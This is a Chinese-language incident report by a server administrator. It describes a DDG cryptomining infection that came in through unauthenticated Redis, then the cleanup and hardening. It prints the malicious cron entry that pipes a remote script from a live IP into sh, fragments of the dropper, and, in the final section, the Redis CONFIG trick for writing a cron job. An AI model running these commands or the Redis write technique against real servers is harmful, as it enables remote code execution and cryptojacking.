1、起因:
發現運維平臺上沒有昨天計劃任務相關的數據,登上服務器,才發現crontab被改了
[root@58 ~]# crontab -l */5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh |
2、處理過程:
①、停掉計劃任務:
[root@58 ~]# crontab -e #*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh |
②、lastb:查看暴力破解的記錄,發現並沒有異常
[root@58 ~]# lastb dev ssh:notty 172.16.1.xx Tue Jun 13 22:49 - 22:49 (00:00) dev ssh:notty 172.16.1.xx Tue Jun 13 22:32 - 22:32 (00:00) |
③、查看有毒腳本:
[root@58 tmp]$curl -fsSL http://218.248.40.228:9999/i.sh?6 echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/root if [ ! -f "/tmp/ddg.1009" ]; then |
④、ps axu:查看異常進程
root 13715 0.0 0.1 700584 16116 ? Sl Jun18 0:50 /tmp/ddg.1009 root 13796 299 17.2 1756884 1387384 ? SLsl Jun18 4236:14 /tmp/wnTKYg.noaes |
⑤、文件處理:
#刪除 #取消執行權限 [root@58 ~]# ll /tmp/wnTKYg.noaes #kill進程 [root@58 ~]# kill -9 13715 |
⑥、#修改root登陸
#.ssh/authorized_keys,也要替換
3、入侵思考:
①、服務器的iptable是隻開了ssh的web的端口,且ssh使用密鑰登陸,且沒有發現嘗試登陸的異常;
②、查看web的日誌,沒有發現異常訪問,應該是某個軟件的問題?
③、最後確定是redis無驗證挖礦(搜索了linux ddg.1009),阿里雲的安全組是允許0.0.0.0的訪問的
④、阿里雲這個0.0.0.0,巨坑啊,應該是某個賤人從其他阿里雲的機器登陸到redis的,即【阿里雲的安全組有0.0.0.0的,是可以訪問其他不屬於自己的機器】
4、安全調整:
①、服務器加上iptables的限制,只允許再用的ip訪問
②、redis改成nologin的用戶啓動
③、redis CONFIG修改成其他的名稱:【rename-command CONFIG "Wyl0LFt2UhR"】
④、修改redis端口
5、redis修改計劃任務相關命令:
#set 1:這樣可以控制第一條記錄,就能保證你的內容始終保持在最前面 echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1 redis-cli config set dir /var/spool/cron/ redis-cli config set dbfilename root redis-cli save redis-cli flushall |
=============================== 完 ==============================